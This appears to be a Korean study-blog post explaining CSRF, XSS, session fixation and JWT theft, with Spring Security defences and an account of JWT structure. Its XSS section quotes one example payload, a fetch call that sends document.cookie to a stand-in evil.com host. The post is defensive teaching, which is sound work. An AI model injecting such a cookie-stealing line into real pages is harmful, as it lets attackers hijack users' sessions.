1. 4가지 주요 보안 공격과 대응 전략
① CSRF (Cross-Site Request Forgery)
공격 원리
피해자가 로그인된 상태에서 악성 사이트가 피해자 브라우저를 이용해 의도하지 않은 요청을 자동으로 전송하는 공격입니다.
1. 피해자 → 은행 사이트 로그인 (세션 쿠키 발급)
2. 피해자 → 악성 사이트 방문
3. 악성 사이트 → 피해자 브라우저로 은행 이체 요청 자동 전송
(브라우저가 세션 쿠키를 자동으로 포함시킴)
4. 은행 서버 → 정상 요청으로 인식 → 이체 실행
대응 전략
CSRF Token 방식: 서버가 예측 불가능한 토큰을 발급하고, 요청 시 이 토큰이 포함되어 있는지 검증합니다.
// Spring Security 기본 CSRF 보호 활성화
@Configuration
public class SecurityConfig {
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http
.csrf(csrf -> csrf
.csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse())
);
return http.build();
}
}
REST API (JWT 사용) 환경에서는 쿠키 대신 Authorization 헤더를 사용하므로 CSRF 위협이 낮아 비활성화합니다.
http.csrf(csrf -> csrf.disable());
추가 방어
- SameSite=Strict 또는 SameSite=Lax 쿠키 설정
- Referer / Origin 헤더 검증
② XSS (Cross-Site Scripting)
공격 원리
공격자가 악성 스크립트를 웹 페이지에 삽입하여 다른 사용자의 브라우저에서 실행시키는 공격입니다.
1. 공격자 → 게시판에 악성 스크립트 삽입
예:fetch('<a href=https://evil.com?cookie='+document.cookie)>https://evil.com?cookie='+document.cookie)</a>2. 피해자 → 해당 게시글 조회 3. 피해자 브라우저 → 스크립트 실행 → 쿠키/토큰 탈취
대응 전략
// 1. 입력값 이스케이프 (Thymeleaf는 기본 적용)
// th:text 는 자동 이스케이프, th:utext 는 HTML 그대로 출력 (위험)
<p th:text="${userInput}">안전</p> // 안전
<p th:utext="${userInput}">위험</p> // 위험
// 2. Content-Security-Policy 헤더 설정
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http
.headers(headers -> headers
.contentSecurityPolicy(csp -> csp
.policyDirectives("script-src 'self'; object-src 'none'")
)
);
return http.build();
}
추가 방어
- JWT를 로컬스토리지 대신 HttpOnly 쿠키에 저장 (스크립트로 접근 불가)
- 사용자 입력값 서버 사이드 검증 및 이스케이프
- X-XSS-Protection 헤더 설정
③ 세션 고정 공격 (Session Fixation)
공격 원리
공격자가 미리 세션 ID를 피해자에게 심어두고, 피해자가 로그인하면 공격자가 알고 있는 세션 ID로 인증 상태를 가로채는 공격입니다.
1. 공격자 → 서버에 세션 ID 발급 요청 (SESSIONID=abc123)
2. 공격자 → 피해자에게 해당 세션 ID가 포함된 링크 전송
3. 피해자 → 링크 클릭 후 로그인 (SESSIONID=abc123 그대로 사용)
4. 공격자 → 동일한 SESSIONID=abc123 으로 피해자 계정 접근
대응 전략
로그인 성공 시 반드시 새로운 세션 ID를 발급합니다.
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http
.sessionManagement(session -> session
.sessionFixation(fixation -> fixation
.newSession() // 로그인 성공 시 새 세션 생성 (기존 속성 복사 X)
// 또는 .changeSessionId() → 세션 ID만 변경 (속성 유지)
)
);
return http.build();
}
추가 방어
- 세션 만료 시간 짧게 설정
- 로그인 후 URL에 세션 ID 노출 금지
- HTTPS 적용으로 세션 ID 탈취 방지
④ JWT 탈취 (JWT Theft)
공격 원리
XSS, 네트워크 스니핑 등으로 JWT를 탈취하여 해당 토큰이 만료될 때까지 피해자인 척 요청을 보내는 공격입니다.
1. 공격자 → XSS 또는 네트워크 스니핑으로 Access Token 탈취
2. 공격자 → 탈취한 토큰으로 API 요청
3. 서버 → 서명 검증만 하므로 정상 요청으로 처리
(세션과 달리 서버에 저장된 게 없어서 즉시 무효화 불가)
대응 전략
// 1. Access Token 만료 시간 짧게 설정
String accessToken = Jwts.builder()
.setExpiration(new Date(System.currentTimeMillis() + 1000 * 60 * 15)) // 15분
.signWith(secretKey)
.compact();
// 2. Refresh Token Rotation: Refresh Token 사용 시마다 새로 발급
@PostMapping("/reissue")
public ResponseEntity<?> reissue(@CookieValue String refreshToken) {
// 기존 Refresh Token 검증
validateRefreshToken(refreshToken);
// 새 토큰 발급
String newAccessToken = jwtProvider.createAccessToken(...);
String newRefreshToken = jwtProvider.createRefreshToken(...); // 새로 발급
// 기존 Refresh Token 블랙리스트 처리 (Redis)
redisTemplate.opsForValue().set("blacklist:" + refreshToken, "logout", 7, TimeUnit.DAYS);
return ResponseEntity.ok()
.header("Authorization", "Bearer " + newAccessToken)
.build();
}
추가 방어
- JWT를 HttpOnly 쿠키에 저장 (XSS로 접근 불가)
- HTTPS 필수
- Redis 블랙리스트로 탈취된 토큰 즉시 무효화
- Refresh Token은 DB/Redis에 저장하여 1회용으로 관리
2. JWT 구조
JWT란?
JSON Web Token의 약자로, 세 파트를 Base64로 인코딩하여 .으로 이어붙인 문자열입니다.
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IuyVmOy5tCIsImlhdCI6MTUxNjIzOTAyMn0
.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
[Header].[Payload].[Signature]
Header (헤더)
토큰의 타입과 서명 알고리즘을 담고 있습니다.
{
"alg": "HS256", // 서명 알고리즘 (HMAC SHA-256)
"typ": "JWT" // 토큰 타입
}
이 JSON을 Base64Url로 인코딩한 것이 첫 번째 파트입니다.
알고리즘 종류
알고리즘 방식 특징
| HS256 | 대칭키 | 서버만 검증 가능, 단순한 구조 |
| RS256 | 비대칭키 | 공개키로 누구나 검증 가능, MSA 환경에 적합 |
Payload (페이로드)
실제로 전달할 데이터(클레임) 를 담고 있습니다.
{
"sub": "1234567890", // Subject: 토큰 주체 (보통 userId)
"name": "홍길동",
"role": "ROLE_USER",
"iat": 1516239022, // Issued At: 발급 시간
"exp": 1516242622 // Expiration: 만료 시간
}
클레임 종류
종류 설명 예시
| Registered Claims | JWT 표준 정의 클레임 | sub, iat, exp, iss |
| Public Claims | 공개적으로 정의된 클레임 | IANA 등록 네임스페이스 사용 |
| Private Claims | 서비스 자체 정의 클레임 | role, userId, teamId |
⚠️ Payload는 Base64 인코딩일 뿐, 암호화가 아닙니다. 민감한 정보(비밀번호, 카드번호 등)는 절대 담으면 안 됩니다.
Signature (서명)
Header + Payload를 비밀키로 서명한 값입니다. 토큰의 무결성을 보장합니다.
HMACSHA256(
base64UrlEncode(header) + "." + base64UrlEncode(payload),
secretKey
)
역할
- 토큰이 중간에 변조되었는지 검증
- 서버만 알고 있는 비밀키로 서명 → 위조 불가
- 서버는 매 요청마다 서명을 재계산하여 비교
// Spring에서 서명 검증
try {
Jwts.parserBuilder()
.setSigningKey(secretKey)
.build()
.parseClaimsJws(token); // 서명 불일치 시 예외 발생
} catch (JwtException e) {
throw new UnauthorizedException("유효하지 않은 토큰");
}
JWT 전체 흐름 정리
[로그인]
사용자 → 서버: ID/PW 전송
서버 → Header + Payload 생성 → Signature 생성 → JWT 발급
[인증]
사용자 → 서버: 요청 + JWT (Authorization: Bearer xxx)
서버 → Header.Payload 추출 → 서명 재계산 → 일치 확인 → 만료시간 확인 → 인증 완료
[변조 시도]
공격자 → Payload 수정 후 전송 (role: ADMIN으로 변조)
서버 → 서명 재계산 → 기존 서명과 불일치 → 401 Unauthorized
Access Token + Refresh Token 구조
Access Token → 만료 15분~1시간, 매 요청에 사용
Refresh Token → 만료 7~30일, Access Token 재발급 시에만 사용
[정상 흐름]
1. 로그인 → Access Token + Refresh Token 발급
2. API 요청 → Access Token 사용
3. Access Token 만료 → Refresh Token으로 재발급 요청
4. 서버 → 새 Access Token 발급 (+ Refresh Token Rotation)
[Refresh Token 탈취 대응]
- Redis에 Refresh Token 저장
- 사용 시마다 새로운 Refresh Token 발급 (Rotation)
- 이미 사용된 Refresh Token으로 요청 오면 → 전체 토큰 무효화
'Weekly Paper' 카테고리의 다른 글
| Weekly Paper #15 (0) | 2026.06.09 |
|---|---|
| Weekly Paper #13 (0) | 2026.06.09 |
| Weekly Paper #12 (0) | 2026.05.11 |
| Weekly Paper #10 (0) | 2026.04.01 |
| Weekly Paper #9 (0) | 2026.03.23 |